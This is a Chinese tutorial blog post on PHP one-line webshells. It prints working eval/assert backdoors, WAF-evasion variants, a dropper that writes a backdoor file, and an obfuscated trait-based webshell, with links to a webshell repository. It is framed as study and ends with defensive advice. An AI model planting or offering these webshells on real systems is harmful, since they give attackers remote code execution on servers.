通过一句话木马来看PHP的一些危操作

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能

先看一个示例

准备工具

启动 ant.php

1
2
$ php -S 127.0.0.1:8000 ant.php
[Sat Nov 26 13:27:08 2022] PHP 7.4.30 Development Server (http://127.0.0.1:8000) started

启动蚁剑 并添加数据

image

发现新天地

我的文件夹被发现啦

image

我的shell也被暴露啦

image

嘻嘻

原来这就是木马,我的服务器权限被拿到了

工作原理

仅仅靠着这一个文件就能提权webshell,简直可恶

  • 依靠 eval 函数,执行了恶意代码

先试试一个最简单的$_GET吧

1
<?php @eval($_GET['shell']);

启动

1
$ php -S 127.0.0.1:8000 eval.php

我们打开浏览器,输入 http://127.0.0.1:8000/?shell=phpinfo();

image

这时候可以通过看php的一些配置,轻松了解到当前服务器的大致情况,再发现一些 0day漏洞 的话,就可以轻松实现攻击了

本质:传递命令、执行命令

一般来说,在php-fpm模式下,可以通过$_GET $_POST来向一个网站提交数据,所以一个标准的一句话木马是由两部分组成

  • 可执行代码的函数部分
  • 接收数据的部分

<?php @eval($_GET['shell']); eval 就是可执行代码的部分、$_GET[‘shell’] 就是接收数据的部分

所有的一句话木马,本质上都是这种朴素可靠的方式

tips: 使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

变种

为啥要变种呢,那还是不因为这种脚本已经被广大的waf拦截了
一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形
今天主要是学习一下怎么变种,而不代表这些真的能用,没去测试过哪些能绕过waf

变种的时候,需要十分了解php的版本差异,如php5和php7的安全有了差异,导致一个木马并不能所有服务器都能跑,所以需要不断的适应,才能写出更好的木马

变种常用函数

函数 说明 官方说明
eval (PHP 4, PHP 5, PHP 7, PHP 8) 把字符串作为PHP代码执行 https://www.php.net/manual/zh/function.eval
assert (PHP 4, PHP 5, PHP 7, PHP 8) 由于安全级别的判定,这个马失效了很多 https://www.php.net/manual/zh/function.assert
正则匹配类 preg_replace/ mb_ereg_replace/preg_filter等
文件包含类 include/include_once/require/require_once/file_get_contents等

assert

https://www.php.net/manual/zh/function.assert

在php>=7.2版本后,禁用给assert()函数传入字符串参数,因为通过超全局常量$_GET[‘’]获取的攻击者输入是字符串,这样传入assert函数就触发了禁用。但是直接assert(phpinfo())传入的参数是函数,所以就不会触发函数禁用,可以正常回显

call_user_func

https://www.php.net/manual/zh/function.call-user-func.php

call_user_func 这个函数可以调用其它函数,被调用的函数是 call_user_func 的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。call_user_func + assert 构造的一句话木马在 php 7.0 版本及以下可以使用

call_user_func函数不能调用eval,因为eval是一个语言构造器而不是一个函数,不能被可变函数调用。call_user_func有两个参数,第一个参数要求是函数,而eval只是一个语言构造器而不是函数,所以不符合call_user_func的语法,调用eval就会报错

preg_replace_callback

https://www.php.net/manual/zh/function.preg-replace-callback

1
2
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

通过create_function“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert

file_put_contents

1
2
3
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("muma.php", $test);

利用函数生成muma.php木马文件

php变量函数

eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。eval不能用,assert可以用(7.1之后不可用)

  • PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
  • 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

好文章:浅谈eval和assert

php7之后assert()默认不再可以执行代码,waf只要把函数封死就可以有效的阻止webshell免杀,而eval并没有assert那么灵活

所以大部分依靠assert的小马,大面积失效啦

todo 变种小马收集ing

一个大马

相当于在一个php文件里面写满了各种操作,针对一句话被查杀时,这个就能起一定的作用,大马里面一般都会写 文件管理、数据库管理,如 https://github.com/tennc/webshell/blob/master/php/angel%E5%A4%A7%E9%A9%AC.php

  • https://github.com/tennc/webshell
    这个开源的webshell仓库中,我们能发现很多很有意思的写法,如
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    trait Dog
    {
    public $name="dog";

    public function drive()
    {
    echo "This is dog drive";
    }
    public function eat($a, $b)
    {
    $a($b);
    }
    }

    class Animal
    {
    public function drive()
    {
    echo "This is animal drive";
    }
    public function eat()
    {
    echo "This is animal eat";
    }
    }

    class Cat extends Animal
    {
    use Dog;
    public function drive()
    {
    echo "This is cat drive";
    }
    }

    foreach (array('_POST') as $_request) {
    foreach ($$_request as $_key=>$_value) {
    $$_key= $_value;
    }
    }


    $cat = new Cat();
    $cat->eat($_key, $_value);

总结

  • 在平时开发过程中,注意eval函数的使用,高风险
  • 默认禁用的函数,总是高风险的。disable_functions
  • 想法设法绕过waf检测的小马,很考验语言知识了,不断的变种很有趣
  • 学会了攻击原理,那么防御起来也就能对症下药了